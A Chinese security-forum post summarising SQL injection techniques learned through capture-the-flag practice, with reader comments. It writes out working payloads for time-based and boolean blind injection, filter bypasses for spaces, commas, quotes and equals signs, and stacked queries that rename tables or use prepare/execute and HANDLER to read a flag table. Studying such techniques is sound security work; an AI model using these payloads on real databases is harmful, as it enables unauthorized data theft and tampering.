对sql的一些总结

fthgb   ·   发表于 2020-04-30 12:31:42   ·   技术文章

背景

这一篇主要写一些sql的基础知识,以前刚刚开始学习的时候收集的,在这里分享一下,然后求求各位哥哥给一个赞吧…

一些基础知识

时间盲注的收集和解决

a) 函数的收集和方法

i. 截断的函数

  1. Substr(a,b,1)就是把a字符串中的第b个字符截断
  2. Substring(a from b for 1)就是把a字符串中的第b个字符截断,好处是可以不用逗号,sub也支持同种语法结构

ii. Sql的正则

  1. Where password Relike ‘^a’这种,如果password的第一个字母是a就返回正常否则错误,可以考虑盲注
    iii. Select case when的条件触发(这样的好处是可以在延时的时候不用逗号,可以避免逗号的过滤这种,配合substring连用)
  2. Select case when username=’admin’ then ‘YES’ else ‘NO’’ end from 表名;(注:这里的’YES’可以换成sleep(5)来完成时间的盲注)
    例句:and (select case when ascii(substring(select database()) from 1for 1))<128 then sleep(5) else 1 end) — hh
    iv. BENCHMARK(a,b):重复执行a次的b的表达
  3. BENCHMARK(1000,sha(1))这种通过计算机很多次的运算来延时,配合的是一般的用if的时间盲注,主要是来代替sleep

v. 笛卡尔积

  1. Select count(*) from information_schema.columns A, information_schema.columns B, information_schema.columns C这样,也是计算多次,而导致的延时,因为几乎没有用什么敏感的函数,所以时间盲注的时候有很大的用处

vi. GET_lock(a,b):就是给a的名字上锁,超时为b秒,但是每次都要在新的会话的时候才能继续延时,感觉没什么用,还是用于盲注GET_LOCK(‘a’,5)和sleep(5)差不多

布尔盲注

a) 函数收集

Mid(a from b for 1)也是把a的第b个字符截取,和substr差不多
Left(a,b)从左边截取b给长度的字符
Right和Left语法差不多。
Ascii和ord的效果差不多,可以通用

一些经验总结

过滤等于号

这里可以使用regexp来代替等于号,但是这里需要注意的是regexp匹配在3.23.4版本后是不分大小写的,要加上binary关键字,例子是:regexp binary regexp '^a'

注意:regexp匹配在3.23.4版本后是不分大小写的,要加上binary关键字。
如果这里过滤了单引号,这里可以利用的技巧是16进制:

过滤单引号

如果过滤了单引号,那么就是十六进制或者char来使用,这里提一下用char的方法,就是,char()会直接把内容变成字符,这样可以把0x过滤的情况绕过去。例子:updatexml(1,concat(1, (select group_concat(column_name) from information_schema.columns where TABLE_NAME=char(102,49,52,103))),1)

万能密码

这里提一下我在CTF中遇到过的万能密码。

  • 先总结一下内容分别包括:用等于号,用减号,用异或,用5个字符来构成的万能密码,如果都了解的话可以直接跳过,要是想要了解的话,可以来看一看。

这是用等于号导致的万能密码:


这是用5个以内的字符导致万能密码的情况,这种也应该只有CTF才会遇到…

这是用5个以内的字符导致万能密码的情况,这种也应该只有CTF才会遇到…

这是只用减号导致的万能密码

这是异或导致的万能密码

这里是对等于号的使用,字段等于字段,可以万能密码登录,这种用法应该只有CTF才会出现…

空格绕过

  • /!50540select user()/ mysql(独有)内联注释,!后面的数字是版本号,表示当数据库版本>=5.5.40时执行SQL语句
  • /**/ mysql多行注释
  • %09,%0a,%0b,%0c,%0d,%20,%a0 一些空白字符
  • 1.1、2.3、1.e 浮点数形式
  • 0e1、1e7 科学计数法
  • +、-、!、@、~、{}、”、’、()、`` 一些特殊字符

过滤逗号

  • 首先是select case when的条件触发:
  • Select case when username=’admin’ then ‘YES’ else ‘NO’’ end from 表名;(注:这里的’YES’可以换成sleep(5)来完成时间的盲注)
  • 例句:and (select case when ascii(substring(select database()) from 1 for 1))<128 then sleep(5) else 1 end) -- hh
  • 或者是在要盲注的时候
  • 原来语句语句:Substr(a,b,1),但是在过滤了逗号后,可以写成Substring(a from b for 1)就是把a字符串中的第b个字符截断,好处是可以不用逗号,sub也支持同种语法结构
  • 或者select substring((select user()) from -1)这样可以慢慢的截断,代码例子:insert into client_ip (ip) values ('ip'+(select case when (substring((select user()) from -1)='t') then sleep(3) else 0 end))
  • 这里还有一种:union select *from((select database())a join (select user())b)-- hh<=>union select *from (database(),user())-- hh

堆叠注入

具体操作请做强网杯随便注:

预定义:

预编译相关语法如下:
Set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
具体用法例子:-1';Set @sql=CONCAT('se','lect *from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

堆叠注入还有一种就是直接给表重命名这种:

修改表名和列名的语法如下:
修改表名(将表名user改为users)
 alter table user rename to users;
修改列名(将字段名username改为name)
 alter table users change uesrname name varchar(30);
具体操作例子:1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

然后还有一个很骚的是,如果把set这些预定义一定需要的过滤了的操作是:用handler

handler 表名 open as 自己设置的名字如:yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄

具体操作见下图

这样select被完全过滤也不怕了…

最后

给位哥哥看我写了这么多,给个赞可好!!!

用户名金币积分时间理由
奖励系统 100.00 0 2020-05-27 20:08:10 投稿满 10 赞奖励
奖励系统 50.00 0 2020-05-06 22:10:57 投稿满 5 赞奖励
admin 100.00 0 2020-05-06 16:04:31 投稿奖励

打赏我,让我更有动力~

5 Reply   |  Until 2020-9-8 | 1048 View

Track-mss
发表于 2020-5-6

好东西,收藏了

评论列表

  • 加载数据中...

编写评论内容

常长老
发表于 2020-5-6

顶一顶

评论列表

  • 加载数据中...

编写评论内容

sumor
发表于 2020-5-6

学习了

评论列表

  • 加载数据中...

编写评论内容

sumor
发表于 2020-5-6

看见笛卡尔积差点劝退… 学渣的卑微

评论列表

  • 加载数据中...

编写评论内容

恶魔的摆渡
发表于 2020-9-8

select substring((select user()) from -1)这句没看懂,有大佬可以解释一下吗,万分感谢

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.